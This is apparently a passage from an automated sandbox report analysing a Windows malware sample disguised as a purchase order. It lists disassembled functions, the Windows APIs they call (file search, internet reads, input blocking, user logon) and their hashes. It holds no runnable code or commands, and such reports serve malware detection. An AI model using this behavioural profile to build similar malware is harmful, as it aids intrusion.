                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: ERCP$VUUU$VUUU$VUUU
                                                                                                                                                                      • API String ID: 0-2165971703
                                                                                                                                                                      • Opcode ID: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                                      • Instruction ID: 514654dd073cfe12bfc68f6c44a091d7a3824994b709b832431b3f3de6bbd106
                                                                                                                                                                      • Opcode Fuzzy Hash: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                                      • Instruction Fuzzy Hash: 5562D3716087818BE734CF18C8807ABB7E1EBC6314F154A2FE49986390E779D949CB5B
                                                                                                                                                                      Function 0045C999 Relevance: 4.6, APIs: 3, Instructions: 130fileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045C9BE
                                                                                                                                                                      • FindNextFileW.KERNEL32(00000000,?), ref: 0045CA1B
                                                                                                                                                                      • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CA4A
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Find$File$CloseFirstNext
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3541575487-0
                                                                                                                                                                      • Opcode ID: cd42767256c3935660832567e39f7af9e021373ba4cf75ddba00705dd7020de4
                                                                                                                                                                      • Instruction ID: 18858b47483a38653cd59612877c1399ad483e9f26b014a4aa46912757e3bc7b
                                                                                                                                                                      • Opcode Fuzzy Hash: cd42767256c3935660832567e39f7af9e021373ba4cf75ddba00705dd7020de4
                                                                                                                                                                      • Instruction Fuzzy Hash: EC41CE756003009FC720EF79D880A9BB3E4FF89315F208A6EED698B391D775A844CB95
                                                                                                                                                                      Function 00436ADE Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetFileAttributesW.KERNEL32(00000001,00000000), ref: 00436AEF
                                                                                                                                                                      • FindFirstFileW.KERNEL32(00000001,?), ref: 00436B00
                                                                                                                                                                      • FindClose.KERNEL32(00000000), ref: 00436B13
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FileFind$AttributesCloseFirst
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 48322524-0
                                                                                                                                                                      • Opcode ID: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                                      • Instruction ID: 417b6d6de692ea6945bae3bf725251b28653fd5bce93257cef0f58e2a105c1b1
                                                                                                                                                                      • Opcode Fuzzy Hash: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                                      • Instruction Fuzzy Hash: 23E02236804418678600AB7CAC0C4EE779CDB0A335F100B96FE38C21D0D775A9408FEA
                                                                                                                                                                      Function 00443390 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __time64.LIBCMT ref: 004433A2
                                                                                                                                                                        • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                                                                                                                        • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Time$FileSystem__aulldiv__time64
                                                                                                                                                                      • String ID: rJ
                                                                                                                                                                      • API String ID: 2893107130-1865492326
                                                                                                                                                                      • Opcode ID: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                                                                                                                      • Instruction ID: ebc1a5536eae3429eadb0b33e849de59894c076497330b79c1ff8485d89898ec
                                                                                                                                                                      • Opcode Fuzzy Hash: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                                                                                                                      • Instruction Fuzzy Hash: B721A2336205108BF321CF36CC41652B7E7EBE0314F268A6AE4A5973C5CA797906CB98
                                                                                                                                                                      Function 00443391 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __time64.LIBCMT ref: 004433A2
                                                                                                                                                                        • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                                                                                                                        • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Time$FileSystem__aulldiv__time64
                                                                                                                                                                      • String ID: rJ
                                                                                                                                                                      • API String ID: 2893107130-1865492326
                                                                                                                                                                      • Opcode ID: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                                                                                                                      • Instruction ID: 4b4e0c3debee0a45c2bc781276f994e79ac96c452fb6cf924f1e6ade5adf298d
                                                                                                                                                                      • Opcode Fuzzy Hash: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                                                                                                                      • Instruction Fuzzy Hash: E82187336345108BF321CF36CC4165277E3EBE0314B258B6AD4A5973C5CA797906CB88
                                                                                                                                                                      Function 0044289D Relevance: 3.1, APIs: 2, Instructions: 82networkfileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • InternetQueryDataAvailable.WININET(?,?,?,?,00000000,00000000), ref: 004428C2
                                                                                                                                                                      • InternetReadFile.WININET(?,00000000,?,?), ref: 004428F9
                                                                                                                                                                        • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Internet$AvailableDataErrorFileLastQueryRead
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 901099227-0
                                                                                                                                                                      • Opcode ID: 0771251b70b9bd68c35fac6f7da5b5f16004994504cb59d35d549d3fc14a9ba4
                                                                                                                                                                      • Instruction ID: 2c15810e60b1cb59304632cc8162977c32d0240baa2dcf3c2cd6ef22f942a6bb
                                                                                                                                                                      • Opcode Fuzzy Hash: 0771251b70b9bd68c35fac6f7da5b5f16004994504cb59d35d549d3fc14a9ba4
                                                                                                                                                                      • Instruction Fuzzy Hash: 452174B12043016BF220EF56DD45FAFB3E8ABD4715F40492EF285A6180D7B8E949C76A
                                                                                                                                                                      Function 0045DD7C Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045DDA1
                                                                                                                                                                      • FindClose.KERNEL32(00000000), ref: 0045DDDD
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Find$CloseFileFirst
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2295610775-0
                                                                                                                                                                      • Opcode ID: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                                                                                                                      • Instruction ID: 3577cc1601137e614a3334ffa73c6d258275d41fe8d72aaca367a27ef3e2a016
                                                                                                                                                                      • Opcode Fuzzy Hash: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                                                                                                                      • Instruction Fuzzy Hash: DE11E5766002049FD710EF6ADC89A5AF7E5EF84325F10892EF958D7281CB75E8048B94
                                                                                                                                                                      Function 0047CBF0 Relevance: 2.9, Strings: 2, Instructions: 418COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: 0vH$HH
                                                                                                                                                                      • API String ID: 0-728391547
                                                                                                                                                                      • Opcode ID: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                                                                                                                      • Instruction ID: 538a6706abcc28c04bdc151be30d2aa4e2083a8dfdfa6c30a7857f36827e6882
                                                                                                                                                                      • Opcode Fuzzy Hash: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                                                                                                                      • Instruction Fuzzy Hash: 60E1BE725143109FC310EF25C881A9FB7E5AFC4708F108D2EF589AB281D779E946CB9A
                                                                                                                                                                      Function 0040F890 Relevance: 2.1, APIs: 1, Instructions: 589COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _memset
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2102423945-0
                                                                                                                                                                      • Opcode ID: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                                                                                                                      • Instruction ID: fac722ae1e10b3ad9494cda40f9fb3e9e62b3c26aea04ddfc6562ea9d2065ebb
                                                                                                                                                                      • Opcode Fuzzy Hash: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                                                                                                                      • Instruction Fuzzy Hash: C512B4B7B983194FDB48DEE4DCC169573E1FB98304F09A43C9A15C7306F6E8AA094794
                                                                                                                                                                      Function 0047E1FA Relevance: 2.0, APIs: 1, Instructions: 499COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DefDlgProcW.USER32(?,?,?,?,004A83D8,?), ref: 0047E22C
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Proc
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2346855178-0
                                                                                                                                                                      • Opcode ID: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                                                                                                                      • Instruction ID: e1c03c818efbd3cbf3664a0c3e659178dbc9a05004c0f073233894ce1d713c90
                                                                                                                                                                      • Opcode Fuzzy Hash: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                                                                                                                      • Instruction Fuzzy Hash: 4EB1E63330602429E114916BBC88EBFBB9CD7D677BB208B7FF142C1582DB5B6425A179
                                                                                                                                                                      Function 0045A259 Relevance: 1.5, APIs: 1, Instructions: 21keyboardCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • BlockInput.USER32(00000001), ref: 0045A272
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: BlockInput
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3456056419-0
                                                                                                                                                                      • Opcode ID: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                                                                                                                      • Instruction ID: 5d782454ef4d0180448527013755d2523f66e5fc327f68786c1d80a86620ac83
                                                                                                                                                                      • Opcode Fuzzy Hash: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                                                                                                                      • Instruction Fuzzy Hash: D2E04F752043019BC700EF71C545A5BB7E4AF94314F108C6EF845A7351D775AC45CB66
                                                                                                                                                                      Function 0043916A Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 0043918E
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: LogonUser
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1244722697-0
                                                                                                                                                                      • Opcode ID: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                                                                                                      • Instruction ID: 63114e5cfb2c4979e73f5d19eacf740c811f86df1a08bc2cb556a5e36cce81ff
                                                                                                                                                                      • Opcode Fuzzy Hash: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                                                                                                      • Instruction Fuzzy Hash: 8DD0ECB52686066FD204CB24D846E2B77E9A7C4701F008A0CB196D2280C670D805CA32
                                                                                                                                                                      Function 004711D2 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: NameUser
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2645101109-0
                                                                                                                                                                      • Opcode ID: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                                                                                                                      • Instruction ID: 8011c19b6c32d183c263453b2018abc548473ce9ed5616c99acac4896e71f792
                                                                                                                                                                      • Opcode Fuzzy Hash: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                                                                                                                      • Instruction Fuzzy Hash: F6E08C322083058FC310EF55F8405ABB390EB94311F004C3FE64AA2191DA79920EDFAB
                                                                                                                                                                      Function 0042202E Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SetUnhandledExceptionFilter.KERNEL32(Function_00021FEC), ref: 00422033
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ExceptionFilterUnhandled
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3192549508-0
                                                                                                                                                                      • Opcode ID: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                                                                                                      • Instruction ID: 3275b40964251646410af8875a24301f93fa315c26af6adae0ca3d0f7a721f84
                                                                                                                                                                      • Opcode Fuzzy Hash: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                                                                                                      • Instruction Fuzzy Hash: CD9002743511144A4A011BB16E5D90925D46A586067920875B411C4064DB9840019619
                                                                                                                                                                      Function 00412C38 Relevance: .4, Instructions: 384COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                                                                                                      • Instruction ID: b3f199f19983f506b623bfe7955a95149e6efe4e98ce3416cc40fa12ddcf4508
                                                                                                                                                                      • Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                                                                                                      • Instruction Fuzzy Hash: 46D19073C0A9B30A8735812D42582BFEE626FD578131EC3E29CD07F38AD26B5DA195D4
                                                                                                                                                                      Function 00412818 Relevance: .4, Instructions: 378COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
